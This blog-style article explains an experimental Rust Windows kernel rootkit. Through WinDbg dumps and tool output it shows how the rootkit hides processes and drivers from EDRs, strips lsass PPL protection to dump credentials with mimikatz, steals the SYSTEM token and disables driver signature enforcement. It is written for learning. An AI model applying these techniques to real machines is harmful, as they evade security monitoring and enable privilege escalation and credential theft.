Around two years ago, memN0ps took the initiative to create one of the first publicly available rootkit proof of concepts (PoCs) in Rust as an experimental project, while learning a new programming language. It still lacks many features, which are relatively easy to add once the concept is understood, but it was developed within a month, at a part-time capacity.
Figure 1. Rings (Source: Rootkit - Wikipedia)
While this project is not perfect and involves techniques that are not at all novel, it's an interesting one, like many other projects by memN0ps in Rust. Why was this rootkit made? For fun, learning, to demonstrate the power of Rust, and because Rust is awesome. It's an experimental rootkit in Rust made for fun and learning a few years ago, but the same concepts apply to any language. Writing kernel drivers is not easy, and even in a memory-safe language, mistakes can be easily made, especially if they’re made in one month and do not implement robust error handling or safe wrappers. Hopefully, Microsoft will implement safe wrappers like the windows-rs library/crate so it's easier to handle errors and reduce the likelihood of encountering the blue screen of death (BSOD) during a crash.
This project, like many others by memN0ps, has also contributed to a deeper understanding of rootkit techniques and the role hypervisors play in mitigating many of these attacks using virtualization-based security, prompting memN0ps to dive deep into hypervisor research.
This article delves into some of the basic rootkit techniques used in a Rust-powered rootkit PoC, highlights how powerful the Rust programming language is, and provides helpful Rust resources and exercises for readers. Disclaimer: Many people believe it's acceptable to drop rootkits or use a Bring Your Own Vulnerable Driver (BYOVD) approach during penetration testing, red teaming (adversary simulation/emulation), or security assessments. However, doing this in a client's production environment is highly discouraged because it is extremely dangerous, no matter how confident you are in your coding skills. While it may seem like the trendy thing to do, it is neither required nor recommended. Imagine taking down a critical host or network in production because someone wanted to demonstrate their skills or blind an endpoint detection and response (EDR) product to gain domain admin privileges. There is a significant difference between good and bad programming, but even well-tested code can fail in complex and unpredictable production environments. Moreover, using BYOVD techniques makes your clients more vulnerable to attacks. If you're doing things right, you shouldn't need to load a kernel rootkit. Additionally, with the increasing adoption of virtualization-based security, such approaches are becoming even more challenging and unnecessary.
This post assumes the reader understands the basics of Windows kernel programming and how device drivers work. If you don't feel confident, a recommended post is Kernel-Mode-Rootkits.
Other helpful documentation and resources can be found here:
More information about Rust can be accessed here:
Windows kernel rootkits have been seen in the wild many times, but most, if not all, are made in C/C++. As new languages emerge, we are likely to see rootkits developed in these languages as well. The best way to learn about software is to reproduce/remake it or reverse engineer existing software. The techniques in this blog are nothing new or novel; it's just a fun and experimental project, regardless of whether you're a hobbyist, malware or security researcher, or offensive tools developer. The following diagram shows the history of rootkits from 1999 to 2022.
Figure 2. Rootkits in the wild (Source: ArtemonSecurity).
PatchGuard, also known as Kernel Patch Protection, is a security feature in Windows to protect the kernel against unauthorized modification and tampering. PatchGuard periodically checks Windows kernel data structures deemed sensitive by Microsoft, and if they are modified or tampered with, PatchGuard triggers a bug check and crashes the operating system. However, one flaw in PatchGuard is that the periodic checking is computationally intensive, so it does not constantly check for unauthorized modifications. There is no guarantee PatchGuard will ever detect and crash the system. This allows an attacker to modify a protected region and change it back without PatchGuard flagging it, like a type of race condition. Since we don't know when PatchGuard will perform the next check, it's risky, but we can reduce this risk by narrowing the window of time a protected region stays modified. PatchGuard does not work if Windows is put into test-signing/kernel-debugging mode and is effectively disabled. More memory protections have been added to Windows 11, but they won't be covered in this post due to the vast cutting-edge knowledge and time required.
Exercise for the reader: Hyperguard Secure Kernel Patch Guard Part 1: SKPG Initialization
The operating system stores information as structures of objects. When a user-mode process requests information, such as a list of kernel drivers, threads, or processes, it's sent back to the user-mode process. Since these pieces of information are just structures/objects in memory, you can change/alter them directly without any form of hooking. However, these are protected by PatchGuard in modern versions of Windows.
An interesting technique we can use in our rootkit is to hide or unlink a target process, which will be hidden from AVs, EDRs, and anti-cheats. We won't be able to see this in the Windows Task Manager or when we use Get-Process in PowerShell. However, the downside of this technique is that it will trigger PatchGuard.
To hide our process, we need to understand a few Windows internal concepts, such as the EPROCESS data structure in the Windows kernel. EPROCESS is an opaque data structure that contains important information about processes running on the system. The offsets of this large structure change from build to build or version to version.
What we're interested in is ActiveProcessLinks, a pointer to a structure called LIST_ENTRY. We can't just access this data structure normally like EPROCESS.ActiveProcessLinks; we have to use PsGetCurrentProcess to get the current EPROCESS and then add an offset that is version-dependent. This is the downside of the EPROCESS structure: It can make it very hard to have a compatible Windows kernel rootkit. However, there are many techniques used to dynamically find offsets, which won't be covered in this post.
We can use WinDbg to look at the data structure:
kd> dt nt!_EPROCESS
<..redacted...>
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
<..redacted...>
The LIST_ENTRY data structure is a doubly linked list, where FLINK (forward link) and BLINK are references to the next and previous elements in the doubly linked list.
kd> dt _list_entry
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
Figure 2 shows a visualization of this data structure:
Figure 3. Doubly linked list (Source: CodeMachine).
Using this information, we can hide our process by manipulating the kernel data structures. Imagine that we have three processes with data structures (EPROCESS 1, EPROCESS 2, and EPROCESS 3) and we want to hide one of them (EPROCESS 2).
To hide our process, we can:
· Point the ActiveProcessLinks.FLINK of EPROCESS 1 to ActiveProcessLinks.FLINK of EPROCESS 3.
· Point ActiveProcessLinks.BLINK of EPROCESS 3 to ActiveProcessLinks.BLINK of EPROCESS 1.
This will manipulate and unlink the data structure of our process from the doubly linked list, making it invisible. Figure 3 shows a diagram of this process:
Figure 4. A visualization of the eprocess structure (Source: Red Team Notes)
We can use Process Hacker to find the PowerShell process or use the command Get-Process -Name PowerShell to see if the process is running on the host.
Figure 5. Using Process Hacker to look for the PowerShell process.
We can use the Rusty rootkit to hide any process we like, such as powershell.exe. Once hidden, it should not show up in Process Hacker or when running Get-Process -Name powershell in PowerShell.
PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide
[+] Process is hidden successfully: 6376
In Figure 6, we can see that the powershell.exe process is not found in both Process Hacker and PowerShell itself.
Figure 6. Powershell.exe is not found in Process Hacker and PowerShell.
Our process should be hidden from functions such as Toolhelp32Snapshot and ZwQuerySystemInformation, which are often used by anti-cheats, AVs, and EDRs.
Note: This will trigger PatchGuard.
Hiding a driver works similarly to hiding a process. The main difference is how we obtain access to the LIST_ENTRY of the driver. Getting access to the EPROCESS data structure of the current process by calling PsGetCurrentProcess is simple, but there is no such call to get the list of drivers.
The Driver Object is an argument passed into the driver’s main function. It contains important information about the driver itself. The Driver Object contains an undocumented field called DriverSection, in which we're interested to hide our driver. As long as we load our driver using the Service Control Manager (SCM), we can always get a pointer to the DRIVER_OBJECT in the DriverEntry() function. We can view the DRIVER_OBJECT using WinDbg:
0: kd> dt _DRIVER_OBJECT
nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x008 DeviceObject : Ptr64 _DEVICE_OBJECT
+0x010 Flags : Uint4B
+0x018 DriverStart : Ptr64 Void
+0x020 DriverSize : Uint4B
+0x028 DriverSection : Ptr64 Void
+0x030 DriverExtension : Ptr64 _DRIVER_EXTENSION
+0x038 DriverName : _UNICODE_STRING
+0x048 HardwareDatabase : Ptr64 _UNICODE_STRING
+0x050 FastIoDispatch : Ptr64 _FAST_IO_DISPATCH
+0x058 DriverInit : Ptr64 long
+0x060 DriverStartIo : Ptr64 void
+0x068 DriverUnload : Ptr64 void
+0x070 MajorFunction : [28] Ptr64 long
Once we access the DriverSection, we can cast it to a pointer to LDR_DATA_TABLE_ENTRY:
0: kd> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x010 InMemoryOrderLinks : _LIST_ENTRY
+0x020 InInitializationOrderLinks : _LIST_ENTRY
<..redacted..>
We can then access the LIST_ENTRY data structure and hide/unlink our driver, making it invisible, just like we did for the process.
kd> dt _list_entry
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
To hide our driver, we can:
This will manipulate and unlink the data structure of our driver from the doubly linked list, making it invisible. Figure 7 shows a diagram of this process:
Figure 7. Hide driver.
Note: This will trigger PatchGuard.
The following shows that the driver is hidden from ZwQuerySystemInformation and PsLoadedModuleList, which can be used by anti-cheats or EDRs to detect running modules.
First, we enumerate all the drivers on the system using PsLoadedModuleList. Here, we can see a list of loaded modules, one of which is our rootkit Eagle.sys.
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 185
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..redacted..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[184] 0xfffff80055720000 "Eagle.sys"
[+] Loaded modules enumerated successfully
We can hide Eagle.sys:
PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide
[+] Driver hidden successfully
We can now enumerate the drivers using PsLoadedModuleList, showing that our driver no longer exists.
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 184
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..redacted..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[+] Loaded modules enumerated successfully
Starting from Windows 8.1, Microsoft introduced system-protected processes, a new security feature in the Windows kernel to defend against system attacks. This new security feature extends the protected process infrastructure used in previous versions of Windows (Vista) for playing Digital Rights Management (DRM) content, which worked by limiting the access you can obtain to a protected process (PROCESS_VM_READ). This new security feature turned into a general-purpose model that third-party antimalware vendors could use.
You can use Process Explorer or Process Hacker to show the system’s level of protection. Attackers can have issues with this protection when it's applied to lsass.exe, preventing them from dumping passwords from it even when running as SYSTEM. However, this memory protection is not enabled by default on lsass.exe and is not an AV or EDR protection, it's a Windows kernel protection. The following shows that we get access denied when attempting to obtain a handle with enough privileges to query and read lsass.exe memory.
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
Process Protection has a hierarchical level:
Let's look at the protection for csrss.exe in Figures 8 and 9. The lsass.exe process will have a similar protection if enabled.
Figure 8. PsProtectedSignerWinTcb-Light.
Figure 9. Signer.
The data structures we're interested in are shown below:
For more information, view ZwQueryInformationProcess and its second parameter ProcessInformationClass.
"When the ProcessInformationClass parameter is ProcessProtectionInformation, the buffer pointed to by the ProcessInformation parameter should be large enough to hold a single PS_PROTECTION structure having the following layout:"
The following kernel structure named _PS_PROTECTION is stored in EPROCESS, determining the protection levels of a process.
The information is stored in two parts of 2 bytes. The Level member is an unsigned 8-bit integer (unsigned char), which has two values known as SignatureLevel (determines the signature requirements of the primary modules) and SectionSignatureLevel (determines the minimum signature level requirements of a DLL to be loaded into a process).
The Type member is 3 bits, representing the protection type (_PS_PROTECTED_TYPE). These bits determine if a process is PP or PPL.
The Signer member is 4 bits, representing the level of protection. These bits determine things like SignerNone, SignerWinTcb, or SignerMax as shown in the _PS_PROTECTED_SIGNER data structure.
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
The first 3 bits contain the type of protected process:
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
The top 4 bits contain the protected process signer:
typedef enum _PS_PROTECTED_SIGNER
{PsProtectedSignerNone = 0, // 0PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
The combination of the values in _PS_PROTECTED_SIGNER and _PS_PROTECTED_TYPE is used to determine the protection of a process. To simplify this, a table is shown in Figure 10:
Figure 10. Protection levels [Source: Do You Really Know About LSA Protection (RunAsPPL)? ]
In a nutshell, the Windows kernel puts these protections in a certain ranked order, meaning the PP privilege will be greater than the PPL privilege. Therefore, PPL can never obtain full access to PP regardless of its Signer.
This means that:
· The PP privilege can obtain full access to another PP or PPL given the Signer is equal or greater.
· The PPL privilege can obtain full access to another PPL if the Signer is equal to or greater.
The reasoning behind this is that even if you want to protect a process like lsass.exe, other services that are more privileged still require access for it to work properly.
We can unprotect or protect the target process from our Windows kernel rootkit by accessing the EPROCESS data structure. As discussed before, the EPROCESS is an opaque data structure in the Windows kernel containing important information about processes running on the system. The offsets of this large structure change from build to build or version to version.
We can view the EPROCESS structure in WinDbg. What we're interested in are the SignatureLevel, SectionSignatureLevel, and Protection fields.
kd> dt nt!_EPROCESS
<...redacted...>
+0x878 SignatureLevel : UChar
+0x879 SectionSignatureLevel : UChar
+0x87a Protection : _PS_PROTECTION
<...redacted...>
So how do we unprotect a process? To remove the protection of a process, we can just set all the following values to 0, and it's as simple as that.
SignatureLevel = 0;
SectionSignatureLevel = 0;
Protection.Type = 0;
Protection.Signer = 0;
So how do we protect a process? To protect a process as PsProtectedSignerWinTcb, we can change the values to the following:
SignatureLevel = 0x3f;
SectionSignatureLevel = 0x3f;
Protection.Type = 2; //Protected (2)
Protection.Audit = 0;
Protection.Signer = 6; //WinTcb (6)
Note that protecting a process does not magically grant access to the processes of other users, as it is only meant to serve as additional protection.
We can't just get access to members using EPROCESS->Protection, but we can use PsLookupProcessByProcessId to obtain access to the EPROCESS structure and then add an offset that is dynamically retrieved. Dynamically retrieving offsets can make the driver compatible across multiple OS builds, and there are multiple ways to do that, which won't be covered in this post.
Note: This will NOT trigger PatchGuard.
Exercises for the reader:
If lsass.exe is protected with PPL, we can protect mimikatz.exe with PP and a signer level that is greater or equal to lsass.exe. This will allow us to dump credentials and bypass PPL.
We use notepad.exe in this example:
PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect
[+] Process protected successfully 2104
Figure 11 Protection: PsProtectedSignerWinTcb.
Alternatively, we can remove the PPL protection from lsass.exe if it has any. This will allow us to dump credentials normally. Note that mimidrv.sys already has this feature, but it will be flagged by AVs/EDRs/anti-cheats.
PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect
[+] Process unprotected successfully 2104
Figure 12. Protection: None.
The privileges a process has can be determined by an access token. An access token includes the identity and privileges of the user account associated with the process or thread. Process privileges determine the type of operations a process can perform. A process running under a medium-integrity context has fewer privileges than a process running under a high-integrity context: A medium-integrity process has standard user rights, while a high-integrity process has administrator rights. Going from a medium-integrity to high-integrity context is determined by User Account Control (UAC). When a process is in a high-integrity context, it has more token privileges than a process in a medium-integrity context and can perform additional tasks. Some of these token privileges are enabled by default. Although other privileges are disabled, they can be enabled by AdjustTokenPrivileges.
Exercises for the reader:
We can run powershell.exe as a normal user and run "whoami /all" to see the process integrity and token privileges. The following shows that powershell.exe is Medium Mandatory Level:
PS C:\Users\memn0ps> whoami /all
USER INFORMATION
----------------
User Name SID
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
When we run-as-administrator, we will see a UAC prompt. After clicking yes, the powershell.exe process should go from a medium to a high integrity context and we will see additional token privileges.
Figure 13. UAC.
The following shows that powershell.exe has High Mandatory Level:
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
================================================
============= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
We can take the following as an example: The SeDebugPrivilege is disabled when we're in a high-integrity context, but it can be enabled when we run the token::elevate command in Mimikatz. However, a medium-integrity process cannot enable it at all.
Process Hacker also shows the token privileges of any process (powershell.exe) in Figure 14. One is in a high-integrity context, and the other in a medium-integrity context.
Figure 14. Privilege constants.
Exercise for the reader: Privilege Constants (Authorization)
We can elevate the token privileges of a target process from our Windows kernel rootkit by accessing the EPROCESS data structure. . It’s important to note that the TOKEN structure has to be retrieved dynamically to avoid hard-coding offsets and ensure compatibility across different Windows builds/versions.
We can view the EPROCESS structure in WinDbg. What we're interested in is the Token attribute. EX_FAST_REF is a pointer that points to the Token data structure.
kd> dt nt!_EPROCESS
<...redacted...>
+0x4b8 Token : _EX_FAST_REF
<...redacted...>
The Token attribute is also a large data structure. What we're interested in is the Privileges attribute.
kd> dt nt!_TOKEN
<...redacted...>
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
<...redacted...>
The Privileges attribute points to another data structure called _SEP_TOKEN_PRIVILEGES. These attributes can enable/disable different types of token privileges.
kd> dt nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
The best and easiest way to escalate the integrity level, user privilege, and ALL token privileges of a process is to replace the low-privileged process TOKEN data structure with a high-privileged process token data structure, as opposed to tampering with each one.
How can we do this? It's actually very simple. We can get the process ID of the SYSTEM process (PID 4) and find its TOKEN address, then replace it with the target process' TOKEN address. Luckily, the process ID of the SYSTEM process is always 4.
We can use PsLookupProcessByProcessId, which will return a referenced pointer to the EPROCESS data structure of the specified process ID. Then, we can use PsReferencePrimaryToken to get a pointer to the TOKEN data structure of the specified EPROCESS.
Once we have a pointer to the TOKEN data structure of the SYSTEM process and our target process, we can overwrite the TOKEN pointer of our target process with the TOKEN pointer of the SYSTEM process.
This will escalate our process privileges to NT AUTHORITY\SYSTEM and enable all token privileges. This is a common technique used in many privilege-escalation exploits for Windows, including Windows kernel exploitation.
Here, we can see that the process is running in a medium-integrity context with default/ordinary token privileges.
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Using our rootkit, we can escalate these privileges of the process (powershell.exe).
PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate
[+] Tokens privileges elevated successfully 6376
We are now NT AUTHORITY\SYSTEM, the process is at a System Mandatory Level, and all token privileges are enabled.
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeCreateTokenPrivilege Create a token object Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled
SeRelabelPrivilege Modify an object label Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
Since Windows 10, version 1607, Microsoft will not load kernel drivers unless they are signed via the Microsoft Development Portal. For developers, this means getting an Extended Validation (EV) code signing certificate from providers such as DigiCert and GlobalSign. Then, you must join the Windows Hardware Developer Center program by submitting your EV code signing certificates and going through a vetting process. When your EV code signing certificates are accepted, a driver needs to be signed by the developer with their EV cert and uploaded to the Microsoft Development Portal to be approved and signed by Microsoft. This is the "normal way" to load your driver.
Note that the downside of a signed driver is that it can be detected/blocked easily if AVs, EDRs, or anti-cheats obtain your signed certificate information. This will have a mass effect, depending on how many machines you have your rootkit loaded on and depending on which AV/EDR/anti-cheat has blocked/detected it.
Manually mapping your driver works similarly to manually mapping your DLL/exe and is more evasive than normally loading it. However, there are some downsides to doing that.
Currently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver such as Capcom or Intel:
Otherwise, you can always get an EV code signing certificate from Microsoft, which goes through a "vetting" process, or use a 0-day, depending on the objective.
This is a very rigorous process designed to protect the Windows kernel from malicious code/malware. However, this protection can be disabled by turning on test-signing mode, which is usually done when developing a Windows kernel driver for testing/loading.
bcdedit.exe /set testsigning on
This configuration of Driver Signature Enforcement (DSE) is stored in the boot options protected by secure boot. Windows reads this boot configuration and sets a flag in the kernel memory that is checked on future driver-load events. This memory region is called g_CiOptions, and the value can be viewed via WinDbg.
The value of g_CiOptions by default is 4 OR 2 aka 4 | 2, which equals 6 in hex. The value for g_CiOptions becomes 0 if DISABLE_INTEGRITY_CHECKS has been set, and if TESTSIGNING is enabled, the g_CiOptions value is 4 OR 2 OR 8 aka 4|2|8, which is E in hex.
DSE is controlled by this bit at runtime, and if we can change this bit in memory from 6 to E, we can bypass DSE and load unsigned drivers. However, to do this, we already need to have drivers loaded or have an arbitrary code execution vulnerability in the kernel, such as arbitrary overwrites (write-what-where) Windows kernel exploitation. This is a bit like the chicken-and-egg situation.
To enable or disable DSE, we need to access CI!g_CiOptions. There is a function called CiInitialize inside ci.dll, a Code Integrity Module, that will contain the address of g_CiOptions, and this is something we will have to look for at runtime. The process of retrieving the address of g_CiOptions will not be covered in this post.
We can use our rootkit to do this but note that this can trigger PatchGuard. So, it's important to disable DSE, load your driver, and quickly re-enable/revert it afterward to avoid triggering PatchGuard.
Here, we can disable DSE from our rootkit:
PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) disabled: 0xe
The value for g_CiOptions is 0e, indicating DSE has been successfully disabled.
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 0e
Here, we can enable Driver Signature Enforcement (DSE) from our rootkit:
PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) enabled: 0x6
The value for g_CiOptions is 06, indicating DSE has been successfully enabled.
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 06
When DSE is disabled, we can double-check if this works by loading any unsigned driver.
Kernel callbacks notify a Windows kernel driver when a specific event occurs, such as:
· When a process is created or exits (PsSetCreateProcessNotifyRoutine).
· When a thread is created or deleted (PsSetCreateThreadNotifyRoutine).
· When a DLL is mapped into memory (PsSetLoadImageNotifyRoutine).
· When a registry is created (CmRegisterCallbackEx).
· When a handle is created (ObRegisterCallbacks).
Anti-cheats, AVs, EDRs, and system monitors (Sysmons) have been using callbacks for a long time.
Anti-cheats or EDRs may choose to block/flag the process or thread from being created, block the DLL from being mapped, or strip handles.
